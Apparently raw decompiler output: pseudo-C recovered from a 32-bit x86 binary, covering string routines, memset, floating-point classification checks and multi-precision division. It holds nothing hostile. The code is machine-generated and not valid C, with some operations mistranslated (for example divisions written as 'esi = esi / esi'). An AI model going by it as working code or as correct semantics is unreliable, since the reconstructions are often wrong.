            if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
                goto L0805773c;
            }
            eax = eax + 16;
        }
        if(esi >= -12) {
            ecx = *eax;
            ecx = ecx ^ edx;
            if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
                goto L08057745;
            }
            eax = eax + 4;
            if(esi >= -8) {
                ecx = *eax;
                ecx = ecx ^ edx;
                if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
                    goto L08057745;
                }
                eax = eax + 4;
                if(esi >= -4) {
                    ecx = *eax;
                    ecx = ecx ^ edx;
                    if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
                        goto L08057745;
                    }
                    eax = eax + 4;
                }
            }
        }
    }
    if(!(esi = esi & 3)) {
        if(*eax == dl) {
            goto L08057758;
        }
        eax = eax + 1;
        if(!(esi = esi - 1)) {
            if(*eax == dl) {
                goto L08057758;
            }
            eax = eax + 1;
            if(!(esi = esi - 1) && *eax == dl) {
                goto L08057758;
            }
        }
    }
L08057738:
    eax = 0;
    goto L08057758;
L0805773c:
    eax = eax + 4;
L0805773f:
    eax = eax + 4;
L08057742:
    eax = eax + 4;
L08057745:
    if(cl != 0) {
        eax = eax + 1;
        if(ch != 0) {
            eax = eax + 1;
            if(!(ecx & 16711680)) {
                eax = eax + 1;
            }
        }
    }
L08057758:
}

/*	Procedure: 0x08057761 - 0x08057763
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057761()
{



}

/*	Procedure: 0x08057764 - 0x080577B2
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L08057764(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;



    ebx = A10;
    edi = A8;
    eax = Ac & 255;
    asm("cld");
    if(ebx > 11) {
        eax = eax | eax << 8;
        eax = eax | eax << 16;
        edx = ~A8 & 3;
        ebx = ebx - edx;
        ecx = edx;
        asm("rep stosb");
        ecx = ebx >> 2;
        asm("rep stosd");
        ebx = ebx & 3;
    }
    ecx = ebx;
    asm("rep stosb");
    return(A8);
}

/*	Procedure: 0x080577B3 - 0x080577BF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080577B3()
{



}

/*	Procedure: 0x080577C0 - 0x0805796D
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 4
 */

L080577C0(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  edi;



    edx = A8;
    ecx = Ac;
    if(!( *ecx & 255)) {
        if(!(dl & 3)) {
            if(*edx & 255) {
                goto L08057889;
            }
            edx = edx + 1;
            if(!(dl & 3)) {
                if(*edx & 255) {
                    goto L08057889;
                }
                if(!(edx + 1 & 3)) {
                    if(*edx & 255) {
                        goto L08057889;
                    }
                    edx = edx + 1;
                }
            }
        }
        while(1) {
            eax = *edx;
            if((edi = -16843009 + eax) || (edi = (edi ^ eax | -16843009) + 1)) {
                goto L08057877;
            }
            eax = *(edx + 4);
            if((edi = -16843009 + eax) || (edi = (edi ^ eax | -16843009) + 1)) {
                goto L08057874;
            }
            eax = *(edx + 8);
            if((edi = -16843009 + eax) || (edi = (edi ^ eax | -16843009) + 1)) {
                goto L08057871;
            }
            eax = *(edx + 12);
            if((edi = -16843009 + eax) || !(edi = (edi ^ eax | -16843009) + 1)) {
                break;
            }
            edx = edx + 16;
        }
        edx = edx + 4;
L08057871:
        edx = edx + 4;
L08057874:
        edx = edx + 4;
L08057877:
        if(al != 0) {
            edx = edx + 1;
            if(ah != 0) {
                edx = edx + 1;
                if(!(eax & 16711680)) {
                    edx = edx + 1;
                }
            }
        }
L08057889:
        edx = edx - ecx;
        if(cl & 3) {
            goto L080578d7;
        }
        al = *ecx;
        *(edx + ecx) = al;
        if(al != 0) {
            ecx = ecx + 1;
            if(cl & 3) {
                goto L080578d7;
            }
            al = *ecx;
            *(edx + ecx) = al;
            if(al != 0) {
                if(ecx + 1 & 3) {
                    goto L080578d7;
                }
                al = *ecx;
                *(edx + ecx) = al;
                if(al != 0) {
                    ecx = ecx + 1;
L080578d7:
                    while(1) {
                        eax = *ecx;
                        if((edi = -16843009 + eax) || (edi = (edi ^ eax | -16843009) + 1)) {
                            goto L08057946;
                        }
                        *(edx + ecx) = eax;
                        eax = *(ecx + 4);
                        if((edi = -16843009 + eax) || (edi = (edi ^ eax | -16843009) + 1)) {
                            goto L08057943;
                        }
                        *(edx + ecx + 4) = eax;
                        eax = *(ecx + 8);
                        if((edi = -16843009 + eax) || (edi = (edi ^ eax | -16843009) + 1)) {
                            goto L08057940;
                        }
                        *(edx + ecx + 8) = eax;
                        eax = *(ecx + 12);
                        if((edi = -16843009 + eax) || !(edi = (edi ^ eax | -16843009) + 1)) {
                            break;
                        }
                        *(edx + ecx + 12) = eax;
                        ecx = ecx + 16;
                    }
                    ecx = ecx + 4;
L08057940:
                    ecx = ecx + 4;
L08057943:
                    ecx = ecx + 4;
L08057946:
                    *(edx + ecx) = al;
                    if(al != 0) {
                        *(edx + ecx + 1) = ah;
                        if(ah != 0) {
                            eax = eax >> 16;
                            *(edx + ecx + 2) = al;
                            if(*(edx + ecx + 2) != 0) {
                                *(edx + ecx + 3) = ah;
                            }
                        }
                    }
                }
            }
        }
    }
    return(A8);
}

/*	Procedure: 0x0805796E - 0x0805796F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805796E()
{



}

/*	Procedure: 0x08057970 - 0x08057ADB
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 4
 */

L08057970(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  edi;



    eax = A8;
    edx = Ac;
    dh = dl;
    ecx = edx;
    edx = edx << 16;
    dx = cx;
    if(!(al & 3)) {
        cl = *eax;
        if(dl == cl) {
            goto L08057ad5;
        }
        if(cl == 0) {
            goto L08057aaa;
        }
        eax = eax + 1;
        if(!(al & 3)) {
            cl = *eax;
            if(dl == cl) {
                goto L08057ad5;
            }
            if(cl == 0) {
                goto L08057aaa;
            }
            if(!(eax + 1 & 3)) {
                cl = *eax;
                if(dl == cl) {
                    goto L08057ad5;
                }
                if(cl == 0) {
                    goto L08057aaa;
                }
                eax = eax + 1;
            }
        }
    }
    while(1) {
        ecx = *eax ^ edx;
        if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
            goto L08057ab7;
        }
        ecx = ecx ^ edx;
        if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
            break;
        }
        ecx = *(eax + 4) ^ edx;
        if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
            goto L08057ab4;
        }
        ecx = ecx ^ edx;
        if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
            break;
        }
        ecx = *(eax + 8) ^ edx;
        if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
            goto L08057ab1;
        }
        ecx = ecx ^ edx;
        if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
            break;
        }
        ecx = *(eax + 12) ^ edx;
        if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
            goto L08057aae;
        }
        ecx = ecx ^ edx;
        if((edi = -16843009 + ecx) || !(edi = (edi ^ ecx | -16843009) + 1)) {
            break;
        }
        eax = eax + 16;
    }
L08057aaa:
    eax = 0;
    goto L08057ad5;
L08057aae:
    eax = eax + 4;
L08057ab1:
    eax = eax + 4;
L08057ab4:
    eax = eax + 4;
L08057ab7:
    if(cl != 0) {
        if(cl == dl) {
            goto L08057aaa;
        }
        if(ch != 0) {
            if(ch == dl) {
                goto L08057aaa;
            }
            ecx = ecx >> 16;
            if(cl != 0) {
                if(cl == dl) {
                    goto L08057aaa;
                }
                eax = eax + 1;
            }
            eax = eax + 1;
        }
        eax = eax + 1;
    }
L08057ad5:
}

/*	Procedure: 0x08057ADC - 0x08057B00
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08057ADC(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  esi;



    esi = A8;
    asm("cld");
    do {
        al = *esi;
        asm("scasb");
        if(esi = esi + 1) {
            goto L08057af4;
        }
    } while(al != 0);
    eax = 0;
    goto L08057af8;
L08057af4:
    asm("sbb eax,eax");
    al = al | 1;
L08057af8:
}

/*	Procedure: 0x08057B01 - 0x08057B03
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057B01()
{



}

/*	Procedure: 0x08057B04 - 0x08057B2F
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 8
 */

L08057B04(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  esi;



    esi = A8;
    ecx = A10;
    asm("cld");
    ecx = ecx + 1;
    do {
        if(ecx = ecx - 1) {
            break;
        }
        al = *esi;
        asm("scasb");
        if(esi = esi + 1) {
            goto L08057b23;
        }
    } while(al != 0);
    eax = 0;
    goto L08057b27;
L08057b23:
    asm("sbb eax,eax");
    al = al | 1;
L08057b27:
}

/*	Procedure: 0x08057B30 - 0x08057BE4
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08057B30(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = A8;
    edx = Ac;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    do {
        cl = *edx;
        *(esp + ecx) = cl;
        if(*(esp + ecx) == 0) {
            goto L08057bb3;
        }
        cl = *(edx + 1);
        *(esp + ecx) = cl;
        if(*(esp + ecx) & 255) {
            goto L08057bb3;
        }
        cl = *(edx + 2);
        *(esp + ecx) = cl;
        if(*(esp + ecx) & 255) {
            goto L08057bb3;
        }
        cl = *(edx + 3);
        edx = edx + 4;
        *(esp + ecx) = cl;
    } while(cl & 255);
    eax = eax - 4;
L08057bb0:
    eax = eax + 4;
L08057bb3:
    cl = *eax;
    if(*(esp + ecx) != cl) {
        cl = *(eax + 1);
        if(*(esp + ecx) != cl) {
            cl = *(eax + 2);
            if(*(esp + ecx) != cl) {
                cl = *(eax + 3);
                if(*(esp + ecx) != cl) {
                    goto L08057bb0;
                }
                eax = eax + 1;
            }
            eax = eax + 1;
        }
        eax = eax + 1;
    }
    esp = esp + 256;
    if(cl == 0) {
        eax = 0;
    }
}

/*	Procedure: 0x08057BE5 - 0x08057BE7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057BE5()
{



}

/*	Procedure: 0x08057BE8 - 0x08057DA6
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08057BE8(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    eax = 0;
    esi = A8;
    ecx = Ac;
    ch = cl;
    edx = ecx;
    ecx = ecx << 16;
    cx = dx;
    if(!(esi & 3)) {
        dl = *esi;
        if(dl == cl) {
            eax = esi;
        }
        if(dl == 0) {
            goto L08057d9e;
        }
        esi = esi + 1;
        if(!(esi & 3)) {
            dl = *esi;
            if(dl == cl) {
                eax = esi;
            }
            if(dl == 0) {
                goto L08057d9e;
            }
            esi = esi + 1;
            if(!(esi & 3)) {
                dl = *esi;
                if(dl == cl) {
                    eax = esi;
                }
                if(dl == 0) {
                    goto L08057d9e;
                }
                esi = esi + 1;
            }
        }
    }
    while(1) {
        edx = *esi;
        if((edi = -16843009 + edx) || (edi = (edi ^ edx | -16843009) + 1)) {
            goto L08057d74;
        }
        edx = edx ^ ecx;
        if(edi = -16843009 + edx) {
            esi = esi - 4;
        } else {
            if(edi = (edi ^ edx | -16843009) + 1) {
                esi = esi - 4;
                goto L08057c69;
            }
            edx = *(esi + 4);
            if((edi = -16843009 + edx) || (edi = (edi ^ edx | -16843009) + 1)) {
                goto L08057d71;
            }
            edx = edx ^ ecx;
            if(!(edi = -16843009 + edx)) {
                goto L08057cf5;
            }
        }
        esi = esi - 4;
        goto L08057c56;
L08057cf5:
        if(edi = (edi ^ edx | -16843009) + 1) {
L08057c69:
            esi = esi - 4;
        } else {
            edx = *(esi + 8);
            if((edi = -16843009 + edx) || (edi = (edi ^ edx | -16843009) + 1)) {
                goto L08057d6e;
            }
            edx = edx ^ ecx;
            if(edi = -16843009 + edx) {
L08057c56:
                esi = esi - 4;
                goto L08057c59;
            }
            if(!(edi = (edi ^ edx | -16843009) + 1)) {
                goto L08057d31;
            }
        }
        esi = esi - 4;
        goto L08057c6f;
L08057d31:
        edx = *(esi + 12);
        if((edi = -16843009 + edx) || (edi = (edi ^ edx | -16843009) + 1)) {
            break;
        }
        edx = edx ^ ecx;
        if(edi = -16843009 + edx) {
L08057c59:
            if(edx & -16777216) {
                goto L08057c6f;
            }
            eax = esi + 15;
        } else {
            if(!(edi = (edi ^ edx | -16843009) + 1)) {
L08057c6f:
                eax = edx & 16711680 ? dh != 0 ? esi + 12 : esi + 13 : esi + 14;
            }
        }
        esi = esi + 16;
    }
    esi = esi + 4;
L08057d6e:
    esi = esi + 4;
L08057d71:
    esi = esi + 4;
L08057d74:
    if(dl == cl) {
        eax = esi;
    }
    if(dl != 0) {
        if(dh == cl) {
            eax = esi + 1;
        }
        if(dh != 0) {
            edx = edx >> 16;
            if(dl == cl) {
                eax = esi + 2;
            }
            if(dl != 0 && dh == cl) {
                eax = esi + 3;
            }
        }
    }
L08057d9e:
}

/*	Procedure: 0x08057DA7 - 0x08057DAF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057DA7()
{



}

/*	Procedure: 0x08057DB0 - 0x08057E62
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08057DB0(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = Ac;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    (save)0;
    do {
        cl = *eax;
        *(esp + ecx) = cl;
        if(*(esp + ecx) == 0) {
            break;
        }
        cl = *(eax + 1);
        *(esp + ecx) = cl;
        if(*(esp + ecx) == 0) {
            break;
        }
        cl = *(eax + 2);
        *(esp + ecx) = cl;
        if(*(esp + ecx) == 0) {
            break;
        }
        cl = *(eax + 3);
        eax = eax + 4;
        *(esp + ecx) = cl;
    } while(cl & 255);
    eax = -4;
    do {
        eax = eax + 4;
        if(*(esp + ecx) & *(A8 + eax)) {
            goto L08057e59;
        }
        if(*(esp + ecx) & *(A8 + eax + 1)) {
            goto L08057e58;
        }
        if(*(esp + ecx) & *(A8 + eax + 2)) {
            goto L08057e57;
        }
    } while(*(esp + ecx) & *(A8 + eax + 3));
    eax = eax + 1;
L08057e57:
    eax = eax + 1;
L08057e58:
    eax = eax + 1;
L08057e59:
    esp = esp + 256;
}

/*	Procedure: 0x08057E63 - 0x08057E63
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057E63()
{



}

/*	Procedure: 0x08057E64 - 0x08057E95
 *	Argument size: 11
 *	Local size: 0
 *	Save regs size: 0
 */

L08057E64(A8, Ac, Af)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  Af;
{



    if((Ac & 2147483647) == 2146435072 && A8 == 0) {
        eax = 1;
        if(Af < 0) {
            eax = -1;
        }
        return;
    }
    esp = ebp;
    return(0);
}

/*	Procedure: 0x08057E96 - 0x08057E97
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057E96()
{



}

/*	Procedure: 0x08057E98 - 0x08057ED5
 *	Argument size: 13
 *	Local size: 0
 *	Save regs size: 0
 */

L08057E98(A8, Ac, A10, A11)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A11;
{



    if((A10 & 32767) == 32767 && Ac == -2147483648 && A8 == 0) {
        eax = 1;
        if(A11 < 0) {
            eax = -1;
        }
        return;
    }
    esp = ebp;
    return(0);
}

/*	Procedure: 0x08057ED6 - 0x08057ED7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057ED6()
{



}

/*	Procedure: 0x08057ED8 - 0x08057F0A
 *	Argument size: 10
 *	Local size: 0
 *	Save regs size: 0
 */

L08057ED8(A8, Ac, Ae)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  Ae;
{



    edx = 0;
    if((Ae >> 4 & 2047) == 2047) {
        if(Ac & 1048575) {
            goto L08057f00;
        }
        if(A8 != 0) {
L08057f00:
            edx = 1;
        }
    }
    return(edx);
}

/*	Procedure: 0x08057F0B - 0x08057F0B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057F0B()
{



}

/*	Procedure: 0x08057F0C - 0x08057F46
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 0
 */

L08057F0C(A8, Ac, Af, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  Af;
/* unknown */ void  A10;
{



    edx = 0;
    if((A10 & 32767) == 32767 && Af < 0) {
        if(Ac & 1073741823 || A8 != 0) {
            goto L08057f3c;
        }
        if(!(Af & 64)) {
L08057f3c:
            edx = 1;
        }
    }
    return(edx);
}

/*	Procedure: 0x08057F47 - 0x08057F47
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057F47()
{



}

/*	Procedure: 0x08057F48 - 0x08057F86
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 8
 */

L08057F48(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    if(!(eax = A10 - 1)) {
        do {
            ecx = *(A8 + eax * 4);
            edx = *(Ac + eax * 4);
            if(ecx != edx) {
                goto L08057f70;
            }
        } while(eax = eax - 1);
    }
    eax = 0;
    goto L08057f7e;
L08057f70:
    eax = -1;
    if(ecx > edx) {
        eax = 1;
    }
L08057f7e:
}

/*	Procedure: 0x08057F87 - 0x08057F87
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057F87()
{



}

/*	Procedure: 0x08057F88 - 0x08058091
 *	Argument size: 24
 *	Local size: 12
 *	Save regs size: 12
 */

L08057F88(A8, A10, A14, A18, A1c)
/* unknown */ void  A8;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffff8 = A18;
    Vfffffffc = A1c;
    *A14 = Vfffffffc >> 31;
    *A10 = (Vfffffffc >> 20 & 2047) + -1023;
    *A8 = Vfffffff8;
    esi = Vfffffffc & 1048575;
    *(A8 + 4) = esi;
    if(!(Vfffffffc >> 16 & 32752)) {
        if(*A8 == 0) {
            if(esi != 0) {
                goto L08057ffe;
            }
            *A10 = 0;
        } else {
            if(*(A8 + 4) != 0) {
L08057ffe:
                asm("bsr edx,[eax+0x4]");
                esi = (edx ^ 31) + -11;
                ebx = *(A8 + 4);
                ecx = esi;
                Vfffffff4 = ebx << cl;
                edx = 32 - esi;
                ebx = *A8;
                ecx = edx;
                *(A8 + 4) = ebx >> cl | Vfffffff4;
                *A8 = *A8 << esi;
                ebx = -1022;
            } else {
                asm("bsr edx,[eax]");
                esi = edx ^ 31;
                if(esi > 10) {
                    edx = esi - 11;
                    ebx = *A8;
                    *(A8 + 4) = ebx << edx;
                    *A8 = 0;
                } else {
                    edx = 11 - esi;
                    ebx = *A8;
                    ecx = edx;
                    *(A8 + 4) = ebx >> cl;
                    *A8 = *A8 << esi + 21;
                }
                ebx = -1043;
            }
            *A10 = ebx - esi;
        }
    } else {
        *(A8 + 4) = *(A8 + 4) | 1048576;
    }
    esp = ebp - 24;
    return(2);
}

/*	Procedure: 0x08058092 - 0x08058093
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08058092()
{



}

/*	Procedure: 0x08058094 - 0x08058630
 *	Argument size: 20
 *	Local size: 84
 *	Save regs size: 12
 */

L08058094(A8, Ac, A10, A14, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffac;
	/* unknown */ void  Vffffffb0;
	/* unknown */ void  Vffffffb4;
	/* unknown */ void  Vffffffb8;
	/* unknown */ void  Vffffffbc;
	/* unknown */ void  Vffffffc0;
	/* unknown */ void  Vffffffc4;
	/* unknown */ void  Vffffffc8;
	/* unknown */ void  Vffffffcc;
	/* unknown */ void  Vffffffd0;
	/* unknown */ void  Vffffffd4;
	/* unknown */ void  Vffffffd8;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = 0;
    if(A18 != 1) {
        > ? L080580b8 : ;
        if(A18 != 0) {
            goto L080584c4;
            if(A18 == 2) {
                goto L08058204;
            }
            goto L080584c4;
        }
        eax = 1;
        asm("cdq");
        A18 = A18 / A18;
        edx = A18 % A18;
    } else {
        esi = *A14;
        ecx = *(Ac + A10 * 4 - 4);
        if(ecx >= esi) {
            Vfffffffc = 1;
            ecx = ecx - esi;
        }
        Vffffffac = edi;
        if(!(edi = A10 + -2)) {
            eax = !edi & 3;
            Vffffffd0 = eax;
            if(edi > -1) {
                if(eax == 0) {
                    goto L08058180;
                }
                if(eax < 3) {
                    if(eax < 2) {
                        eax = *(Ac + edi * 4);
                        Vffffffcc = eax;
                        edx = ecx;
                        esi = esi / esi;
                        edx = esi % esi;
                        ecx = edx;
                        *(A8 + edi * 4) = Vffffffcc;
                        Vffffffac = A10 + -3;
                    }
                    eax = *(Ac + Vffffffac * 4);
                    Vffffffc8 = eax;
                    edx = ecx;
                    esi = esi / esi;
                    edx = esi % esi;
                    ebx = Vffffffac;
                    ecx = edx;
                    *(A8 + ebx * 4) = Vffffffc8;
                    Vffffffac = ebx - 1;
                }
            }
            eax = *(Ac + Vffffffac * 4);
            Vffffffc4 = eax;
            edx = ecx;
            esi = esi / esi;
            edx = esi % esi;
            ecx = edx;
            *(A8 + Vffffffac * 4) = Vffffffc4;
            if(!(Vffffffac = Vffffffac - 1)) {
L08058180:
                do {
                    eax = *(Ac + Vffffffac * 4);
                    Vffffffc0 = eax;
                    edx = ecx;
                    esi = esi / esi;
                    edx = esi % esi;
                    ebx = Vffffffac;
                    edi = A8;
                    ecx = edx;
                    *(edi + ebx * 4) = Vffffffc0;
                    ebx = ebx - 1;
                    eax = *(Ac + ebx * 4);
                    Vffffffbc = eax;
                    esi = esi / esi;
                    ecx = esi % esi;
                    *(edi + ebx * 4) = Vffffffbc;
                    edx = Vffffffac + -2;
                    Vffffffd0 = edx;
                    Vffffffb8 = *(Ac + Vffffffd0 * 4);
                    edx = ecx;
                    esi = esi / esi;
                    edx = esi % esi;
                    ecx = edx;
                    *(A8 + Vffffffd0 * 4) = Vffffffb8;
                    eax = Vffffffac + -3;
                    Vffffffd0 = eax;
                    Vffffffb4 = *(Ac + Vffffffd0 * 4);
                    edx = ecx;
                    esi = esi / esi;
                    edx = esi % esi;
                    ecx = edx;
                    *(A8 + Vffffffd0 * 4) = Vffffffb4;
                } while(Vffffffac = Vffffffac + -4);
            }
        }
        *Ac = ecx;
        goto L08058624;
L08058204:
        ebx = Ac + A10 * 4 - 8;
        Ac = ebx;
        edi = *(A14 + 4);
        Vfffffff4 = edi;
        esi = *A14;
        edx = *(ebx + 4);
        Vffffffd0 = edx;
        ecx = *ebx;
        if(Vffffffd0 >= Vfffffff4) {
            > ? L08058231 : ;
            if(ecx >= esi) {
                Vfffffffc = 1;
                ebx = Vffffffd0;
                ecx = ecx - esi;
                asm("sbb ebx,[ebp-0xc]");
                Vffffffd0 = ebx;
            }
        }
        Vfffffff8 = A10 - A18;
        if(!(Vfffffff8 = Vfffffff8 - 1)) {
            Vffffffe0 = A8 + Vfffffff8 * 4;
            edx = !Vfffffff8 & 1;
            Vffffffac = edx;
            if(Vfffffff8 > -1 && edx == 0) {
                goto L08058336;
            }
            Ac = Ac + -4;
            if(Vffffffd0 == Vfffffff4) {
                Vffffffb0 = -1;
                ecx = ecx + Vffffffd0;
                Vffffffd4 = ecx;
                if(ecx < Vffffffd0) {
                    eax = ecx - esi;
                    Vffffffd4 = eax;
                    ecx = *Ac + esi;
                    asm("adc eax,+0x0");
                    Vffffffd0 = eax;
                    *Vffffffe0 = -1;
                    goto L08058329;
                }
                Vffffffd0 = esi;
                if(esi != 0) {
                    Vffffffd0 = Vffffffd0 - 1;
                }
                ecx = ~esi;
            } else {
                eax = ecx;
                edx = Vffffffd0;
                Vfffffff4 = Vfffffff4 / Vfffffff4;
                edx = Vfffffff4 % Vfffffff4;
                Vffffffd4 = edx;
                Vffffffb0 = eax;
                asm("mul esi");
                Vffffffd0 = edx;
                ecx = eax;
            }
            Vffffffac = *Ac;
L080582e9:
            if(Vffffffd0 <= Vffffffd4) {
                != ? 0x8058311 : ;
                if(Vffffffac >= ecx) {
                    goto L08058311;
                }
            }
            Vffffffb0 = Vffffffb0 - 1;
            eax = Vffffffd0;
            ecx = ecx - esi;
            asm("sbb eax,+0x0");
            Vffffffd0 = eax;
            edx = Vfffffff4;
            Vffffffd4 = Vffffffd4 + edx;
            if(Vffffffd4 >= edx) {
                goto L080582e9;
            }
L08058311:
            *Vffffffe0 = Vffffffb0;
            eax = Vffffffd4;
            edx = Vffffffac - ecx;
            asm("sbb eax,[ebp-0x30]");
            ecx = edx;
            Vffffffd0 = eax;
L08058329:
            Vffffffe0 = Vffffffe0 + -4;
            if(!(Vfffffff8 = Vfffffff8 - 1)) {
L08058336:
                Vffffffdc = Vffffffe0;
                Vffffffd8 = Vffffffdc;
L08058340:
                edi = Ac + -4;
                Vffffffac = edi;
                if(Vffffffd0 == Vfffffff4) {
                    Vffffffb0 = -1;
                    ecx = ecx + Vffffffd0;
                    Vffffffd4 = ecx;
                    if(ecx < Vffffffd0) {
                        ebx = ecx - esi;
                        Vffffffd4 = ebx;
                        ecx = *edi + esi;
                        asm("adc ebx,+0x0");
                        Vffffffd0 = ebx;
                        *Vffffffd8 = -1;
                        goto L080583f1;
                    }
                    Vffffffd0 = esi;
                    if(esi != 0) {
                        Vffffffd0 = Vffffffd0 - 1;
                    }
                    ecx = ~esi;
                } else {
                    eax = ecx;
                    edx = Vffffffd0;
                    Vfffffff4 = Vfffffff4 / Vfffffff4;
                    edx = Vfffffff4 % Vfffffff4;
                    Vffffffd4 = edx;
                    Vffffffb0 = eax;
                    asm("mul esi");
                    Vffffffd0 = edx;
                    ecx = eax;
                }
                Vffffffac = *Vffffffac;
L080583b1:
                if(Vffffffd0 <= Vffffffd4) {
                    != ? 0x80583d9 : ;
                    if(Vffffffac >= ecx) {
                        goto L080583d9;
                    }
                }
                Vffffffb0 = Vffffffb0 - 1;
                eax = Vffffffd0;
                ecx = ecx - esi;
                asm("sbb eax,+0x0");
                Vffffffd0 = eax;
                edx = Vfffffff4;
                Vffffffd4 = Vffffffd4 + edx;
                if(Vffffffd4 >= edx) {
                    goto L080583b1;
                }
L080583d9:
                *Vffffffdc = Vffffffb0;
                eax = Vffffffd4;
                edx = Vffffffac - ecx;
                asm("sbb eax,[ebp-0x30]");
                ecx = edx;
                Vffffffd0 = eax;
L080583f1:
                Ac = Ac + -8;
                if(Vffffffd0 == Vfffffff4) {
                    Vffffffb0 = -1;
                    ecx = ecx + Vffffffd0;
                    Vffffffd4 = ecx;
                    if(ecx < Vffffffd0) {
